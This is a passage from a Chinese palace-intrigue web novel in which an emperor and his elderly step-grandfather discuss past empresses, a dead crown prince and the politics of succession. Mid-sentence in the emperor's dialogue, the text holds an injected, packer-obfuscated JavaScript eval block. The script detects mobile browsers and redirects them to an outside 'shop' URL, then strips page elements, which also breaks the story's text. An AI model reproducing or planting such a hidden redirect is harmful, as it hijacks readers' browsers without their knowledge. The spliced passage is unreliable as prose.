“嗜权如命?”嬴忱璧惊讶,电光火石间冒出个念头:“莫非,莫非我祖父在位时,桓皇后生前是志在朝堂想和晏家争锋吗?”又略微想不通:“但,但我父皇说,庞贵妃生前宠冠后宫十八年啊,桓皇后在后宫都不安稳怎会还有心思想在前朝争锋?” “这就意味着你祖父肃宗皇帝这原配媳妇自觉她凤位很稳固,这你有什么好想不通。”霍擎懒洋洋地倒两杯茶,递碗茶给外孙,嬴忱璧接过茶碗,挑眉重复:“自觉?” “你媳妇看不起你吧。”霍擎用的是肯定语调,对于如此僭越的话题,他仍然乐悠悠:“你要不猜猜,以你获知的情形,你认为桓皇后会看得起你祖父吗?” 嬴忱璧沉默稍许,仰头饮下半碗茶,默认道:“所以,老国公的意思,桓皇后压根儿就没把庞贵妃看在眼里?但这和愍文太子英年早逝又有什么关系?” “大外孙啊,你祖父肃宗皇帝在位期间,晏家权倾朝野啊。”霍擎真嫌费劲:“你不是这都想不通吧,有权臣独揽朝纲,前朝还会有桓皇后能置喙的余地么,但她几乎嗜权如命啊,她能忍得了不去干涉朝政吗,她又会再用什么来争斗,很难猜吗?” “愍文太子?”该当如此又不可思议的感觉油然而生,嬴忱璧难以置信这大伯的死因:“桓皇后生前用嫡长子来给她冲锋陷阵争权夺利,朕这位大伯愍文太子是不堪重负、不堪亲娘的重压才英年早逝吗,老国公莫不是在信口开河故意误导朕吧?” “你不信就传桓国公来求证嘛,外祖父还能拦着你不成?”霍擎坦荡荡。 “桓家,清楚?”嬴忱璧莫名倒吸口凉气:“这大伯真是因不堪重负才病殁?” “唉!”霍擎再曝个料:“这隐秘是桓国公的祖父、桓皇后她爹亲自揭破。” “什么隐秘?”嬴忱璧差点没犯懵:“愍文太子不堪亲娘的重压才病殁的隐秘?” “对!”霍擎肯定,一时转不过弯的嬴忱璧神奇地看着他,霍擎唏嘘:“当年,包括你爹和你祖父在内,大家多多少少都是有点猜测的,但桓皇后是愍文太子的亲娘,谁能往外嚷,是第一任桓国公、桓皇后的亲爹和长女翻脸时当众揭破的。” “翻脸?”嬴忱璧猛然意识到:“桓国公不走仕途而选经商是因此吗?” 霍擎不吝惜夸声:“总算脑瓜灵光了一回啊。” 嬴忱璧将碗中茶水饮尽,把茶碗放下,在老人家对面的大石上落座,抬手捏捏眉心,对这段往事是真意外,更没有因为被夸而有什么高兴的:“第一任桓国公不可能只因外孙不堪重负而病殁就要和亲女儿翻脸吧,是桓家不想再帮桓皇后争了吧?” “是这当爹的想让长女迷途知返,不要把大儿子的遗孤和小儿子都毁了。”霍擎摇头:“可惜桓皇后没领她爹的情,还把自己给葬送掉了。” “把自己葬送?”嬴忱璧奇异:“您的意思,桓皇后薨逝是我祖父要让她死?” “你祖父是心地好,又不是没脾气。”霍擎冷嗤:“嫡长子没了,还是被亲娘折腾死的,肃宗皇帝还能无动于衷吗?何况桓家都跟桓皇后翻脸了,可桓皇后呢? 非但不知悔改还变本加厉疯魔,肃宗皇帝还能留着她再祸害儿孙吗,你祖父给原配媳妇两个选择,要么废后,要么她死,桓皇后宁死不愿意被废,选了死。” “变本加厉偏执是想证明自己没错吧?”嬴忱璧能体悟这种心境,有感道:“五叔当时是已经被亲娘养歪,纵然桓皇后身死,他和六叔也不可能再修好,对吗?” “对。”霍擎瞧着这外孙,明晃晃意有所指:“不过桓皇后死前终归是明白了,肃宗皇帝想废掉她、想让她死都是易如反掌的事,是肃宗皇帝心地好愿意宽容她,否则就凭她看不起丈夫那股子劲儿,肃宗皇帝再多一点点脾气都早就废掉她了。” 嬴忱璧睨睨眼前的老人,小心眼作祟在心里哼哼:你好意思指桑骂槐吗,你也不瞧瞧我对你多宽容,我若再多一点点脾气,我还能容忍你对我这么不敬吗? “这么说,朕的生母生前真有可能是因心性脆弱而又太会敏感多思才早早病逝的吗?”嬴忱璧自然略过对面老头的影射,他…他还真说不上来是什么感觉,他一直以为他娘是因为念着进宫前的过往伤春悲秋才红颜早逝,反而是他想多了吗? “错不了,以老头我活七十年的阅历,老头我敢断定,不会错的。”霍擎给予肯定道:“就芮贤妃生前瞎折腾自己那股劲儿还能不把身子骨熬坏就出奇了,人哪经得起那么熬,你这生母就是性情太闭塞又太会多思才常年三病五灾早早去了。” 嬴忱璧心底泛起苦涩,眼酸垂眸:“老国公退下吧,朕想独自安静会儿。” 霍擎岿然不动:“你瞎啊,看不出老头我是来给你治病的,你当你外祖父我七十多岁的老人家还能是你随传随到的吗?老头我是不想骂你,但你能撑得住不被骂吗?” 嬴忱璧手抖下,静止两息,想他应该能撑住不摆皇帝的谱:“好,您请指教。” “吃完桃子再说。”霍擎从果盘里抓只鲜桃扔给他,再拿只桃吃起来。嬴忱璧接住桃,注视眼前的老人家稍许,他转过身屈起右膝,面对着小湖风光,缓缓吃桃子。 “既然刚聊过你大伯和桓皇后,咱就接着聊聊你大哥和任皇后吧。”他俩都吃完鲜桃,霍擎倒两碗茶,态度很随意:“依你看,桓皇后和任皇后,谁的凤座更稳当些?” “自然是桓皇后。”他老爹的老娘想捧娘家人上位可谓司马昭之心,任皇后的处境不好有目共睹,嬴忱璧疑惑:“您老不以为然吗?”否则就不必多此一问了。 “你瞎啊,你是个皇帝,你看问题这么粗浅,你还能坐得稳江山吗?”霍擎立时不满:“肃宗皇帝的贵妃宠冠后宫意味着啥,是不是你祖父对桓皇后的敲打? 你再看你爹,虽然你爹的贵妃也是宠冠后宫,但你爹还有个老娘在,你祖母生前,你爹对亲娘是放纵多还是管束压制多?当然是管束压制得多,母子两个起冲突都成家常便饭了,这不就是在告诉任皇后:你放心,你后位很稳,我会护着你的。” 嬴忱璧恍然:“祖母生前,父皇虽然以压制为主,但朱太后毕竟是他的亲娘,父皇既然没想抚允母亲的心意,晏贵妃当然不可能越过去。因此,任皇后位居中宫时看似岌岌可危,实则父皇意在维持后宫的三足鼎立之势,任皇后的凤座很稳。” 他愣下,意识到当中症结:“任皇后不懂我父皇的态度?” “有意思吧。”霍擎笑:“你祖父肃宗皇帝的桓皇后,凤座摇摇欲坠却不仅察觉不到危机还一味自以为是;你爹的任皇后,明明后位稳固却偏要过得如履薄冰战战兢兢。” “她们薨逝的年岁也差不多吧,桓皇后终年四十一岁,任皇后终年三十九岁。”嬴忱璧若有怜悯不想嘲笑,霍擎补充:“婆媳俩做皇后的年数都差不多,更是殊途同归。” “殊途、同归?”嬴忱璧喃喃念遍,不由得一怔,惊觉道:“任皇后薨逝时我父皇对她没什么情份了?”语毕被反问:“你觉得还会有什么情份吗?” 嬴忱璧哑然,对牛弹琴十几年乃至反被怨怼,情份自是都耗尽了。 霍擎补刀:“没想到你对媳妇的态度居然得你祖父和你爹真传了,是吧,得你祖父对原配媳妇的宽容又得你老爹对原配媳妇的回护,真不愧是一脉相传,是吧?” 隐有感怀的嬴忱璧觑觑对面的老头,然后捧起茶盏喝茶。霍擎哼声,喝两口茶,再道:“就没想过你大哥的死吗?你爹册立继后必会让继后与储君相互制衡,是你大哥还是你二哥在储位能有多少不同,你老爹当年作甚非得想换个儿子?” 嬴忱璧愣住,对啊,父皇当时作甚非得想废掉大哥?他看向对面的老者,霍擎答曰:“这就证明你大哥必定犯父亲的忌讳了,让你爹不想再留着这个嫡长子。” “忌讳?”嬴忱璧意外,更是吃惊:“什么忌讳,我父皇有什么忌讳?” “外祖父有个猜测但不大肯定,但有一点,外祖父很肯定,古贤讲四十而不惑,你们爹偏是反着来的,年轻时很清醒,四十岁以后越来越惑。”霍擎揣摩道:“你大哥呀,也许是你大哥让你爹窥探到他心里的阴暗卑劣了,这是他不愿意容忍的。” 嬴忱璧闻言犹如碰见个老忽悠:“阴暗卑劣应该属废楚王吧。” 霍擎被质疑得简直像被踩到猫尾巴:“外孙子你能不能把你脑子带上,你外祖父还用你来提点啊,你当你爹什么人?!三四十年前他比你们兄弟都要强。 他会捧废楚王不过是权宜之计,他根本没对次子有过厚望更不可能把皇位传下,你不信就去问他,老头我要是连这么点事都能看错,我剁根手指给你。” 嬴忱璧在安抚和忽略之间犹豫下想还是略过吧:“老国公不必如此激动,朕只是好奇,十多年前圣人有多宠废楚王,大家都看在眼里,这怎么会是权宜之计,何况庄太妃曾得圣人长宠不衰,她生的儿子,圣人怎会没寄予过厚望?” “霍秦川也宠过娉姨娘二十多年,你瞎啊!”霍擎不想发火还是没忍住:“老头我嫌累啊不想动不动就骂,你小子能不能带点脑子,假若是你摊到一对狼子野心的母子,你会对他们寄予厚望吗?你若是不会,你凭什么觉得你爹应该会,你当你爹眼瞎吗? 长宠不衰咋了,长宠不衰就该爱屋及乌吗?谁给你的想当然,还是你就当你爹不长脑,得宠的嫔妃就能把他迷得晕头转向,你就这么看不起父亲吗?” 嬴忱璧被训得黯然低眸,忆起昨日,霍贵妃指他对人对己都有很大的偏见,他是吗? “父皇没对废楚王寄予过厚望,老国公有佐证吗?” “你二哥倒塌得有多容易啊,你爹若是对你二哥寄予厚望,他不能指你大哥污蔑吗?他当时可都已经想让你大哥死想捧你二哥做储君了,怎么你大哥只是豁出自己的命,形势就能逆转,他毫不犹豫地就把他原本捧在手心的儿女都给舍掉了?” 霍擎气儿都消了,就认这外孙属眼瞎的不能自己思量:“他若真想保,他会保不住吗?他顾念摄政王挚爱温献皇后,晏家就至今安好,可废楚王兄妹呢,是他疼爱的儿女、是他想捧做储君的儿子,他会轻易放手还处置地那么干净利落吗?” 嬴忱璧豁然犹如醍醐灌顶,是啊,父皇的态度不寻常,当时没多想,觉得大哥用自己的命能钉死废楚王兄妹很正常,实则不对,他爹若真疼爱废楚王兄妹岂会有那么容易就放手,甚至大哥白死了都可能,除非…除非父皇根本不在乎那对儿女?! “老国公,这是怎么回事,怎会这样?”嬴忱璧真困惑了:“自授康十六年起,大家都能感觉出来废楚王是他最宠爱的儿子,怎么会,父皇实则根本不在意他?” “你爹想在前朝捧个三足鼎立之势嘛,废楚王若不成为他最宠爱的儿子,怎么出头,这你有什么好想不通的,你这么迟钝吗?”霍擎忒嫌外孙这副蠢相,微微扎心的嬴忱璧驳斥:“老国公糊涂了,怎会是三足鼎立,我父皇当年明明想将储君换人。” 霍擎瞧外孙这小样,轻轻松松碾压:“你会不会算啊,你爹在授康二十年才显出意向来想捧你二哥做储君,没看你爹的想法是循序渐进的吗,他宠次子的初衷只是想在朝堂捧个三足鼎立之势,距离他想换储君差着几年呢,懂不懂啊你?” 嬴忱璧悄悄握握拳,较劲似的挣扎:“庄太妃可是最懂我父皇心思的嫔妃,父皇若非真心宠爱她生的儿女,她会察觉不到吗,她若察觉到了还能没点异常吗?” 霍擎打量这外孙两眼,得到个结论:“你不是不长脑,你是就不愿意动脑子,你瞎啊,没看见庄太妃连自己的前程都没挣到么,你当她做太妃前止步于淑妃位是何故? 授康十年,她获封淑妃,直到授康二十八年你爹禅位,整整十八年,她在淑妃的位置上死活没能再往前挪,她会甘心吗,她会没有使尽浑身解数想晋位吗? 任皇后薨逝,她和我闺女争夺继后位,因何落败,她自己会清楚吗?我闺女入主中宫,庄淑妃又是什么样啊,整个儿一副就等着晋位正一品做贵妃的架势,但还别说,我霍家也都以为圣人会将她晋做贵妃,结果咧,反而是你爹没想法。” 霍擎问:“你爹的心思,庄淑妃若是都能琢磨到,她还能把自己的前程败得这么惨吗?是嫔妃中属她最懂圣人,不是你老爹的心思,她都能了若指掌,你懂不懂啊;甚至于,她若真能把你爹的心思尽皆揣摩到位,你以为你爹还会留着她吗?” “不会!”嬴忱璧毫不迟疑:“一个太懂君王心思的嫔妃就是个隐患,太危险,我父皇绝不会留着。”他更不知是认服还是被训得认栽了,总归没再争辩,顺势问:“但您老的意思,庄淑妃当年莫非还有机会晋正一品吗,我父皇会愿意再封位贵妃吗?” “有什么不愿意,他给晏贵妃追尊不就行了,谁还能妨碍晏贵妃是他挚爱的地位,何况他若册立继后的同时追尊位皇后,出个生死俩皇后不是很有意思吗?” 霍擎懒懒道:“你当为何是授康十六年时大家察觉出废楚王是他最宠爱的儿子?当然是他有意为之,任皇后在授康十六年秋薨逝,这原配媳妇身子骨不好没几年活头了,他在授康十五年时会没数吗?摆明了,他在授康十五年时就把新局面规划好了。 立霍德妃为后,霍家晋后族;庄淑妃晋正一品贵妃,楚王做他最宠爱的儿子,由此在朝堂形成以储君、楚王、继后为主的三足鼎立之势。但没想到,他想法逐渐发生了变化,他不想再留着嫡长子也不想给庄淑妃晋位,这才令庄淑妃落了场空。” 嬴忱璧不得不感喟,原以为再寻常不过的事,在老穆国公的解析下竟是别有洞天,忽然就想起晏霁之曾言:老穆国公会令人不自觉得愿意敬重他,因他洞察世事的智慧。 “您清楚我父皇没给庄淑妃晋正一品的原因吧?”嬴忱璧执起茶壶倒茶。 “反感了呗。”霍擎撇撇嘴:“你不瞧瞧庄淑妃的三公主什么德行啊,都差不多的德行,你老爹对亲娘管束压制,把同母亲妹贬做平民,他还能看得惯那个三女儿吗? 庄淑妃在他面前多善解人意啊,偏偏能把女儿养成那么副德行,还是以前没表现出来,在他最宠他们以后曝露出小人得志的嘴脸,啥意思,装得呗,母女俩一样狷狂的货色,他还能不反感吗,都反感了,他还会愿意给庄淑妃晋位吗?” 嬴忱璧递碗茶给老国丈,端茶碗抿两口,估测道:“这么说,废楚王上位日就是庄淑妃和嬴丹若失宠时,是大哥的变故令大家几乎都没察觉到父皇已然反感他们。” “没准儿你老爹对三女儿还不只是反感,更是厌恶。”霍擎捧着茶碗喝几口,提醒道:“他可是连废楚王的媳妇都没杀,却把三女儿和三女婿给赐死了,他当时不能像对妹妹似的把这女儿女婿贬做平民吗?当然能啊,但他选择赐死,可见一斑啦。” “当然啦,他赐死这女儿女婿也可能是出于对魏王和大儿遗孤的疼爱。”霍擎补充道:“以庄淑妃这三公主的猖狂,贬做平民压不住她,她更不会忌惮悼太子留下的河间军,那么魏王叔侄就很危险了,故而你爹干脆赐死,以此震慑废楚王一系的残余势力。” “哦,我父皇当时的杀令仍有玄机。”这好理解,只不过,嬴忱璧奇怪:“我父皇还有个同母妹妹?老国公没诓骗朕吧,人在哪儿啊,朕怎么没印象?” 霍擎手抖两抖,被不敢相信得呆滞两息后抓狂:“我的个亲娘啊,老头我都七十多了,我记性都比你个二十九岁的强,你这岁数就忘性这么大合适吗?你们可真是父子,但你爹好歹是把二十四年前的往事给忘记了,你呢,才11年,你可太厉害了!” 嬴忱璧被喷得差点肝儿颤,冷静下,忍住心底的悲催装若无其事:“哦,朕想起来,您老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459309|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚才曾言我父皇年轻时比我们兄弟都要强,我父皇三四十年前是怎样的呀?” 霍擎要笑不笑地瞧着这外孙,嬴忱璧顿时想起昨日霍贵妃睨着他像是在说‘哼,小样’时的那副腔调,心里默默腹诽真是祖孙俩,然后,皇帝他捧着茶碗喝茶。 “老头我算是懂了,你六弟咋就能失忆?”霍擎褒奖:“合着是有家传啊。” 嬴忱璧手抖下,佯装没事人微笑:“老国公该回答朕的问题了。” “你爹三四十年前是咋样的,是吧?”霍擎品两口茶,慢条斯理道:“要不你先猜猜,授康二十年以前,你们兄弟谁最像他,他最喜爱的儿子又是哪个?” “呃?”对废楚王是假的,那么?嬴忱璧思量圈,摇头:“朕猜不出来。” “你六弟呀。”霍擎笑:“你六弟像他,他最喜爱的儿子也是你六弟。” “这怎么可能?”嬴忱璧难以置信:“护国公府可是六弟的外祖家!” “他还嫌恶三女儿呢,不照样把这女儿宠成他最宠爱的女儿。”霍擎甩个例子,嬴忱璧颇有点受震动:“父皇,父皇他真的能因皇权而将喜恶都颠倒吗?” “应该说,你爹对儿女的疼爱影响不了他对朝堂的考量,六儿子是他最喜爱的儿子,但他不想留着护国公府时照样会毫不犹豫地动手。”霍擎叹息声,客观道:“其实,作为皇帝,你爹这一点是很好的,后妃、儿女、朝堂,他分得很清楚。 他宠嫔妃是一回事,他对皇嗣又是另一回事,他不会因为是宠妃生的孩子就多疼爱,也不会因为皇嗣的生母不得宠就对孩儿不上心,孩子还在襁褓中没什么性格时,他对孩子们更偏于一视同仁。同样,他自然也不会因为宠妃和儿女就影响他对朝堂的考量。” “温献皇后是例外吧。”嬴忱璧情绪略低靡:“否则晏家岂能至今安好?” “你想动霍家吗?”霍擎没接话,只戳个要害,嬴忱璧愣下,神情莫测地看向他,霍擎一派好似信赖这皇帝外孙又暗暗表衷心:“你焉知晏家之于他不是霍家之于你,摄政王之于他不是今日的我之于你,摄政王晚年可是在给晏家找退路啊。” 嬴忱璧沉默低头,没表态会否动霍家,没认也没否认老穆国公今日的作用。 霍擎注视会儿这外孙,说:“知道你人生中得到的第一份父爱是什么吗?” 嬴忱璧奇怪看他,霍擎眉眼暖融融:“就是你爹把刚出生的你交给温献皇后——当时的晏贵妃养育,你以为这只是件微不足道的小事吗,朱家女在后宫中没有生养,有皇嗣降生,朱太后姑侄会不想要吗?你以为,你爹这亲娘为何没有抢到你?” “您,您的意思是,”嬴忱璧诧异甚至震惊:“我父皇硬抗亲娘的施压吗?” “对!”霍擎给予肯定:“二十九年前,你出生当天,朱太后姑侄就盯上了,你爹不肯,你该很清楚你爹没顺应亲娘的原因,你若是在朱家人手中长大,差不多相当于要把你毁了。当时你祖母连绝食都闹上了,你爹都没妥协,母子俩闹得一个多月没见面。” “当、当真吗?”他刚出生就有这样一段往事吗?嬴忱璧蓦然很不是滋味。 “你们兄弟谁都不可能只因这么点事就对亲娘那么强硬吧。”霍擎突兀讽刺:“你们会想,娘亲想让表妹养个低位嫔御生的孩儿值当什么,怎能因此就让亲娘不快。 在你们兄弟眼中,哪怕你们摊到个像朱太后那样的生母,亲娘仍比孩儿重要得多,你们会给出最大的宽容最多的妥协,这亲娘想让她的侄女养育个皇嗣,你们会毫不犹豫地答应,至于皇嗣会否被养歪?你们不会想,你们只会用最大的侥幸盼着亲娘变好。” 嬴忱璧抿唇未语,霍擎诛心:“至少,你嬴忱璧绝对是这样的。”引得嬴忱璧霍然瞪他,霍擎抬抬下巴目有轻蔑:“假若你生母还在世,芮家女要养个皇嗣,你会拒绝吗?笑话,你只会答应还会毫不犹豫甚至很乐意,权当是孩儿跟你一起给你生母尽孝了。 至于皇嗣会否被养歪?你会想吗,你不会想的,你更不会联想你出生时的过往,毕竟当时你刚出生,你没感触,你当然不痛不痒的,哪能比得上你给生母尽孝重要?!这个孩儿有可能会被养歪就更不重要了,唯有亲身经历过才知道这有多残忍啊。 你又没尝过被坏胚养育的滋味,你怎么可能感同身受?但你是真没有资格觉得你爹在众儿子中最喜爱你六弟还能果断对你六弟的外祖家动手有多不好,毕竟若非你爹将前朝和私情分得够清楚,你爹对刚出生的孩儿都够爱护,哪能有你的今日?!” 嬴忱璧恍似被污蔑更觉委屈般倏然立起来怒视他,霍擎没避讳地争锋相对:“我女儿对你是有照顾不周但不曾故意忽视你、更没有对你憋过坏心吧,霍家也没有排挤过你吧,怎么在你心里,霍家非但跟芮家有云泥之别还连郭氏都能一嫁给你就后来居上? 我女儿憋屈,老头我何尝不憋屈,我是不是还该感恩,我们不是养了头白眼狼?” 对峙片刻,嬴忱璧握着拳咬紧牙关退让步,一语双关道:“六弟生性活泼甚至是跳脱,和父皇的性情差点不是一星半点,他怎会最像父皇,老国公老糊涂看错了。” “你瞎啊,你就只能看到你六弟的活泼跳脱,看不到他的意气风发吗?”霍擎搭理道:“这股子意气风发劲儿是你们父皇青葱岁月里最美好的模样,当然像他。” “六弟的意气风发不是随他外祖家护国公吗?”嬴忱璧惊讶,霍擎实在忍不住再再嫌:“你三十年前都还没出生呢,你爹三四十年前是什么模样,你懂个啥?” “可是,可是我父皇年少时有祖父的桓皇后和庞贵妃在前,父皇能过得意气风发吗?”嬴忱璧有理有据反驳,霍擎从果盘里抄起样水果砸去,嬴忱璧伸手接住,还以为是给他的,还态度不错地询问突然给他果子做什么,霍擎没好气骂:“砸你脑子的! 白瞎了你长得一副聪明模样,你爹昨日没说还是你没听到,你祖父想保每个儿孙安稳!何况老头我刚告诉你,孩子在襁褓中没什么性格时你爹对孩儿们几乎一视同仁且足够爱护,你不会想你爹这点是遗传你祖父啊,你祖父对儿女们都很呵护吗?” 嬴忱璧捏着果子缓缓坐下,颓然低头:“三四十年前,我父皇是怎样的呀?” “比你大哥刚毅,比你二哥良善,比你三兄蜀王从容,比你四兄魏王谦逊,比你爽朗,比你六弟有思量,几个小的更不用说了。”霍擎着重道:“是真比你们兄弟都要强啊。” 嬴忱璧苦涩闭闭眼,霍擎喝口茶,缓缓情绪:“授康二十年之后,你最像你爹。” “……”吃过再多的瘪,嬴忱璧都不能信啊:“老国公是在信口开河吧?” “你瞎啊!”这外孙可真是就爱找骂的,霍擎无语道:“你不看看你对忠毅伯府芮家和你媳妇郭氏那股上赶着的劲儿,比照你爹对朱家那上赶着的劲儿,这不妥妥的父子样,咋的,你就看老爹对别人好心酸悲凉的,就不晓得对照你自个儿什么德行?” 嬴忱璧:“……” 节节败退的嬴忱璧决定言归正传:“老国公,父皇当年到底因何想废掉大哥?” 霍擎不答反问:“有没想过,你二哥废楚王童年时或许曾羡慕过你?” 嬴忱璧差点被神奇到,纵使踩过很多坑,还是坚持:“老国公在拿朕开涮吧?” “你四岁前养在晏贵妃膝下,在你两三岁时,你二哥会羡慕你不算奇怪吧,以庄淑妃的野心,你二哥要多刻苦才能令生母稍稍满意?”霍擎没再训责,反而似有温情萦绕:“他能不能想他若是晏贵妃的孩儿该多好,而你当时就养在晏贵妃膝下。” 嬴忱璧哑然,忽又闻被问:“你看,你七弟晋王像什么?” “晋王像什么?”嬴忱璧不大懂他的意思,霍擎叹息:“揠苗助长的那株苗啊。” 嬴忱璧莫名心口一揪:“七弟,七弟其实本性不坏。”他兀然难受像有积郁堵着要爆破,他语气强烈重申:“老国公,我父皇当年究竟因何非得想废掉大哥啊?” “你看你大哥做人配不配得上完美二字?”霍擎引导,嬴忱璧愣下,应道:“配,大哥做人做事做储君都臻于完美挑不出错来。”随即就被霍擎挑个最大的错:“可人能不犯错吗,谁能没点瑕疵,圣贤都做不到,你看和完美共生的是不是假和虚伪?” “您言下之意,父皇看大哥莫非看到的是虚伪吗?”嬴忱璧如梦初醒般惊诧,霍擎唏嘘:“假若你爹只是觉得嫡长子圆滑虚伪,断不至于够到要令他想废储的地步。 应该是你大哥这份完美影射进你爹内心的恐惧了,你爹年轻时很出色,你应该能猜到,他对自己的感观肯定很好,但是姬氏一族近乎阖族被灭呀,他当时肯定还没忘,他也必定自我审视过许多回,当他发现他没有他以为的磊落时,这种打击是很可怕的。” 霍擎语调哀悯:“他一定想过改,这是毋庸置疑的,但是当你大哥愈发完美,完美到让他觉得虚伪乃至像是在讽刺他,像眼中钉肉中刺一般直击他内心的阴暗卑劣,令他避无可避令他恐慌到厌恶痛恨时,他想要拔掉这根刺就是顺理成章了。” 嬴忱璧盯着这位洞察世事的老人半响,苦涩抬手抹把脸,只觉说不出的悲凉。 “有没有想过你大哥的死跟他亲娘也有莫大关系?”霍擎没留间隙地给外孙头脑风暴:“你大哥才五岁多就没有童年了,只因父亲成了储君,亲娘要他担起将来的风范,待你们的父亲登基成为皇帝,任皇后对嫡长子的要求有多高更是不必说了。 实则,你大哥完全可以有童年可以活得有血有肉,若非任皇后把自己过得如履薄冰,还把她的惊惧强加给长子迫使你大哥做人做事都必须要臻善臻美,你大哥又何至于能力求完美到像个失真的假人,以致最终犯到父亲的忌讳,落个惨淡收场?” 嬴忱璧愣下,意识到这位名义上的外祖父想点明什么,神情幽幽看他。 霍擎憋坏揶揄:“还真说不定啊,没准儿你大哥就是自己都嫌套着完美的枷锁太累了,这才连起兵搏一搏都没搏就痛快自尽了断。”引得嬴忱璧再度唰得下站起。 “你扪心自问,假若你生母没死,你跟着生母长大,真的就比我女儿养育你更好吗?”霍擎坦荡道:“老头我不否认我肯定有点私心,但咱们照实讲,这世间是每个亲娘都好吗,看看你大伯、大哥、二哥、七弟的悲哀,这世上是亲娘养育就一定最好吗?” 嬴忱璧倏然握拳。 118. 第118章 人间事,倘若都能用理来理清,世间岂还能多纷扰? 霍擎深知,嬴忱璧对他早逝的亲娘饱含深情怀念和憧憬,摆再多道理都不可能让他承认他若是由亲娘养育长大根本没有他以为的那么好,便主动给个台阶下。 “你应该能猜到你大哥二哥迫于各自生母在童年时就有多少重负,你三哥蜀王的往事,你也晓得了,你四哥和六弟还有七弟都不容易,相比起来,你算不算幸运?是,你还有三个小弟都没遇过坎坷,但你若是非得想跟这三个弟弟比,老头我就没得说了。” 嬴忱璧闭闭眼背过身,仰头,眼底已泛酸:“老国公退下吧,朕想独自安静会儿。” “你祖父厉害吧。”霍擎坐定道,嬴忱璧没心情理会没话找话的反话,再令退下。 “你小子不觉得你祖父厉害吗?”霍擎威胁:“你敷衍我没啥,但你若是对你祖父不敬可是个大问题,外祖父我必须找我女婿谈谈,让你爹好好管教管教你。” 霍擎嘲笑他:“皇帝头上还有位太上皇是不错,是我的女婿和外孙就更不错了。” 嬴忱璧懂了,问题根本不在于他能不能撑住不摆皇帝的谱,而是在这位老国丈面前,他压根儿就摆不起皇帝的谱。嬴忱璧握拳冷静,心里腹诽你绝对故意报复我刚才没有应承你,你让我怎么违心应啊,转过身,委婉道:“我祖父生前,皇权多少旁落了吧。” 霍擎打量般看看他,问:“你认为你爹比你祖父厉害?” 嬴忱璧不语,相当于默认。霍擎笑笑:“人到死才能盖棺定论啊。”他老头揉揉眉头,倒真有点难受:“人一生,到死都不惑、到死都没怎么偏离初心才是真厉害啊。可你看你爹,他都变成什么样了,比起他十几岁二三十岁时简直是在造孽!” 嬴忱璧不同意:“我父皇没让皇权旁落,这就比祖父厉害多了吧。” 霍擎注视这外孙几息时间,若有责备意:“你是真不愿意动脑子,我不知道这是你做皇帝之后生出的弊病还是你自童年起就有的自以为是,恰如你自认为养母和霍家不会对你好,从而打心底里排斥霍家乃至怨恨霍家,但我劝你最好改掉这弊病。 否则,你当然还是能开创你想要的恢弘盛世,但你嬴氏皇族的气运怕是要走下坡路了,自你而始走下坡路,任你再多本事都只会是皇朝最后的兴盛。” 还想挣扎挣扎给自己辩驳他没有怨恨霍家的嬴忱璧滞住,他看向眼前的老者,眼神中是他自己都没察觉到的戒备,展笑道:“是吗?那么朕就请您老赐教了。” 戒备什么呢,自然是戒备他居心叵测有意蛊惑圣听误导皇帝。 霍擎没把这外孙的戒备当回事儿,拿茶壶倒杯茶喝,饮毕,气运丹田,一脸痛心疾首:“有多少你数得出能堪大用的老臣和家族是从肃宗朝过来的,皇家宗亲尤其是老秦王,你这小叔公当年没兵权吗,你祖父若是想除权臣,一声令下,宗室会忍吗? 护国公府原家忠君爱国,原家是尊奉皇帝还是屈从权臣,会有疑虑吗?肃宗皇帝在位期间晏家独揽朝纲,有多少人家眼红,又有多少人家想取而代之,你瞎了,朝堂人才济济,你难道当大臣们都见不到肃宗皇帝不能行离间挑拨之言吗? 没看见你祖父肃宗的原配桓皇后都不安于后宫都要削尖脑袋往前朝争权,若非肃宗皇帝愿意捧晏家,晏家还可能权倾朝野吗?倘若坐龙椅的是个傀儡,会有多少人家蠢蠢欲动妄想由自家来摆布这个傀儡,你不长脑啊连这点事都算不了吗?” 到热血沸腾慷慨激昂时,霍擎忍无可忍痛斥:“老头我嫌自己累啊,我真懒得骂你,但你自己看看你,刚愎自用、自以为是,脑子里装得全是石头,不骂你行吗,肃宗大智若愚,你爹也是个深思熟虑的,你呢,你什么样啊?!” 正徽帝嬴忱璧苦涩低头,或许他在老人家说一句时就预料到他低看他的祖父了。 霍擎抄起水果砸,嬴忱璧被砸中脑门,若无所觉,果子掉落,他伸手接住,凝视半响,他抬头振作道:“老国公,朕不懂,我祖父怎会反而信重晏家;且不论宗亲,桓皇后跟他是原配夫妻还有儿女,自是桓皇后跟他亲,祖父怎会反而向着晏家?” “真没想到你还是个任人唯亲的德行啊。”霍擎冷嘲热讽:“你都任人唯亲了,你媳妇和忠毅伯府还没出头真是奇了怪了啊。”他猛地了然:“哦,懂了懂了,是被你爹压着呢,看来霍家按你的意思把你最亲的媳妇给拔除后,我霍家将来真是难逃死路了。” “老国公,朕不是任人唯亲,朕只是表述不当。”嬴忱璧莫名涌起股焦灼感,无奈道:“我祖父当年既然未被架空,为何还要捧出个权臣来?” 霍擎无语:“你祖父不爱处理国事啊,你还想规定皇帝就必须爱处理国事吗?” 嬴忱璧被这不负责任还敢理直气壮的德行给噎到了,强烈谴责:“什么话,处理国事是皇帝责无旁贷的份内之事,哪有不爱处理国事就撒手不管的,成何体统?” “你有点眼界吧,你做皇帝眼界这么狭窄,你成何体统?”霍擎凉凉反压:“难道处理国事是做皇帝是否尽责的标范吗?你狭不狭隘有没有点见识啊。 你祖父在位期间朝堂清明,对外抗击外敌入侵,对内百姓安居乐业,国库常年有盈余,怎就不是贤明之君了?他不爱处理国事而已,这也值得你吹毛求疵?” 嬴忱璧差点被气到:“肃宗朝没出大乱是我祖父运道好,倘若——”倘若运道不好卡在对面老人瞬间冷下来更似有暴风来袭的凶煞眼神里,忽然有种不好的预感。 